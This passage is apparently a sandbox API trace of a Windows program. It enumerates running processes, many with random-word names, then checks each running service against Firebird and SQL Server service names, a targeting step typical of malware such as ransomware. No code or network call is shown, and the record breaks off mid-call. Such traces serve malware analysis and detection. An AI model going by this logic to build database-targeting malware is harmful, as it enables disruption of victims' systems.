[0034.041] lstrlenW (lpString="svchost.exe") returned 11 [0034.041] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.042] lstrlenW (lpString="svchost.exe") returned 11 [0034.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.043] lstrlenW (lpString="svchost.exe") returned 11 [0034.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.043] lstrlenW (lpString="audiodg.exe") returned 11 [0034.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.044] lstrlenW (lpString="svchost.exe") returned 11 [0034.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.045] lstrlenW (lpString="svchost.exe") returned 11 [0034.045] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.046] lstrlenW (lpString="dwm.exe") returned 7 [0034.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.046] lstrlenW (lpString="explorer.exe") returned 12 [0034.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.047] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.048] lstrlenW (lpString="taskhost.exe") returned 12 [0034.048] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.048] lstrlenW (lpString="svchost.exe") returned 11 [0034.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.049] lstrlenW (lpString="taskeng.exe") returned 11 [0034.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.050] lstrlenW (lpString="taskhost.exe") returned 12 [0034.050] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0034.051] lstrlenW (lpString="obligations-breath.exe") returned 22 [0034.051] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0034.051] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0034.051] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0034.052] lstrlenW (lpString="achieving.exe") returned 13 [0034.052] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0034.053] lstrlenW (lpString="venice.exe") returned 10 [0034.053] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0034.054] lstrlenW (lpString="owns.exe") returned 8 [0034.054] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0034.054] lstrlenW (lpString="faster momentum.exe") returned 19 [0034.054] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0034.180] lstrlenW (lpString="vital_reasons.exe") returned 17 [0034.180] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0034.181] lstrlenW (lpString="everyone.exe") returned 12 [0034.181] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0034.182] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0034.182] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0034.182] lstrlenW (lpString="bored_excluded.exe") returned 18 [0034.182] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0034.183] lstrlenW (lpString="mothers.exe") returned 11 [0034.183] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0034.184] lstrlenW (lpString="career-fed.exe") returned 14 [0034.184] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0034.185] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0034.185] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0034.185] lstrlenW (lpString="initial_utilization.exe") returned 23 [0034.185] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0034.186] lstrlenW (lpString="cf-represent.exe") returned 16 [0034.186] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0034.187] lstrlenW (lpString="tue.exe") returned 7 [0034.187] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0034.188] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0034.188] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0034.189] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0034.189] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0034.190] lstrlenW (lpString="stuff_event.exe") returned 15 [0034.190] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0034.191] lstrlenW (lpString="keywords-copies.exe") returned 19 [0034.191] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0034.192] lstrlenW (lpString="lap.exe") returned 7 [0034.192] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.193] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.193] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.193] lstrlenW (lpString="dllhost.exe") returned 11 [0034.193] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.194] lstrlenW (lpString="dllhost.exe") returned 11 [0034.194] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0034.196] lstrlenW (lpString="chrome64b.exe") returned 13 [0034.196] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0034.196] lstrlenW (lpString="cmd.exe") returned 7 [0034.197] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0034.197] lstrlenW (lpString="conhost.exe") returned 11 [0034.197] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0034.198] lstrlenW (lpString="mode.com") returned 8 [0034.198] Process32NextW (in: hSnapshot=0x1b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0034.199] CloseHandle (hObject=0x1b0) returned 1 [0034.199] Sleep (dwMilliseconds=0x1f4) [0035.128] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fb10 [0035.128] EnumServicesStatusExW (in: hSCManager=0x66fb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0035.128] GetLastError () returned 0xea [0035.129] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x393d1d8 [0035.129] EnumServicesStatusExW (in: hSCManager=0x66fb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x393d1d8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x393d1d8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0035.129] CloseServiceHandle (hSCObject=0x66fb10) returned 1 [0035.129] lstrlenW (lpString="Appinfo") returned 7 [0035.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.130] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.130] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.130] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.130] lstrlenW (lpString="AudioSrv") returned 8 [0035.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.130] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.130] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.130] lstrlenW (lpString="BFE") returned 3 [0035.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.130] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.130] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.130] lstrlenW (lpString="CryptSvc") returned 8 [0035.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.130] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.130] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.131] lstrlenW (lpString="CscService") returned 10 [0035.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.131] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.131] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.131] lstrlenW (lpString="DcomLaunch") returned 10 [0035.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.131] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.131] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.131] lstrlenW (lpString="Dhcp") returned 4 [0035.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.131] lstrlenW (lpString="Dnscache") returned 8 [0035.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.132] lstrlenW (lpString="DPS") returned 3 [0035.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.132] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.132] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.132] lstrlenW (lpString="eventlog") returned 8 [0035.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.132] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.132] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.132] lstrlenW (lpString="EventSystem") returned 11 [0035.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.132] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.132] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.132] lstrlenW (lpString="gpsvc") returned 5 [0035.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.132] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.132] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0035.133] lstrlenW (lpString="iphlpsvc") returned 8 [0035.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.133] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.133] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.133] lstrlenW (lpString="LanmanServer") returned 12 [0035.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.133] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.133] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.133] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.133] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.133] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.133] lstrlenW (lpString="lmhosts") returned 7 [0035.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.133] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.133] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0035.133] lstrlenW (lpString="MMCSS") returned 5 [0035.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.133] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.133] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.134] lstrlenW (lpString="MpsSvc") returned 6 [0035.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.134] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.134] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.134] lstrlenW (lpString="Netman") returned 6 [0035.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.134] lstrlenW (lpString="netprofm") returned 8 [0035.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.134] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.134] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.134] lstrlenW (lpString="NlaSvc") returned 6 [0035.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.134] lstrcmpiW 